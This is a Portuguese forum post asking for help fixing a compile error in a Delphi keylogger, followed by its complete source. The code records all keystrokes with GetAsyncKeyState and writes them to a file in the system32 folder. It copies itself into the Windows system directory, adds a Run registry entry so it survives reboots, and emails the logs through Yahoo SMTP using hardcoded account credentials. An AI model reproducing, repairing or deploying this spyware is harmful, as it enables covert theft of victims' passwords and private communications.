estou fazendo um KL que envia msg por smtp mas da dando erro na "with Mensagem do" não sei porque alguém podria me dar uma focinha ta ai o cod completo unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, Registry, XPMan, OleCtrls, SHDocVw,
IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
IdBaseComponent, IdMessage;
type
TForm1 = class(TForm)
capturar: TTimer;
salvar: TTimer;
XPManifest1: TXPManifest;
enviar: TTimer;
Memo1: TMemo;
IdMessage1: TIdMessage;
IdSMTP1: TIdSMTP;
procedure capturarTimer(Sender: TObject);
procedure salvarTimer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure enviarTimer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
reg:TRegIniFile;
s,a : string;
implementation
{$R *.dfm}
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
procedure TForm1.capturarTimer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;
procedure TForm1.salvarTimer(Sender: TObject);
var
F:textfile;
begin
Assignfile(F,'c:\windows\system32\key.txt');
if not FileExists('c:\windows\system32\key.txt') Then
begin
Rewrite(F);
Closefile(F);
End
Else
Assignfile(F,'c:\windows\system32\key.txt');
{$I-}
Append(F);
{$I+}
If IOResult<> 0 Then
Begin
End;
Write(F,Form1.Memo1.text);
Closefile(F);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
a := Application.ExeName;
CopyFile(Pchar(a), Pchar('C:\Windows\System\Keylogger.exe'),false);
s:= 'C:\Windows\System\Keylogger.exe';
Reg:=TRegIniFile.Create('full');
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.Openkey ('\Software\Microsoft\Windows\CurrentVersion',false);
reg.WriteString('Run', 'KL', s);
end;
procedure TForm1.enviarTimer(Sender: TObject);
with Mensagem do;
begin
Body.text:=(Memo1.text);
From.Text := 'rafaelbalzani@yahoo.com.br';
Recipients.EMailAddresses := 'rafaelbalzani@yahoo.com.br';
Subject := ('Logs de: '+user);
smtp.AuthenticationType := atlogin; // Indica que requer autenticação
smtp.Username :='rafaelbalzani';
smtp.Password :='nic1245';
smtp.Host := 'smtp.mail.yahoo.com.br'; //HOST SMTP.
smtp.Port := 25; // Porta SMTP do yahoo é 25.
//Anexo.
TIdAttachment.Create(Mensagem.MessageParts, 'c:\windows\system32\key.txt');
smtp.Connect; //Conecta.
try
smtp.Send(mensagem); // Envia Mensagem + Anexo.
finally
smtp.Disconnect; // Desconecta do SV SMTP
end;
end;
end;
end.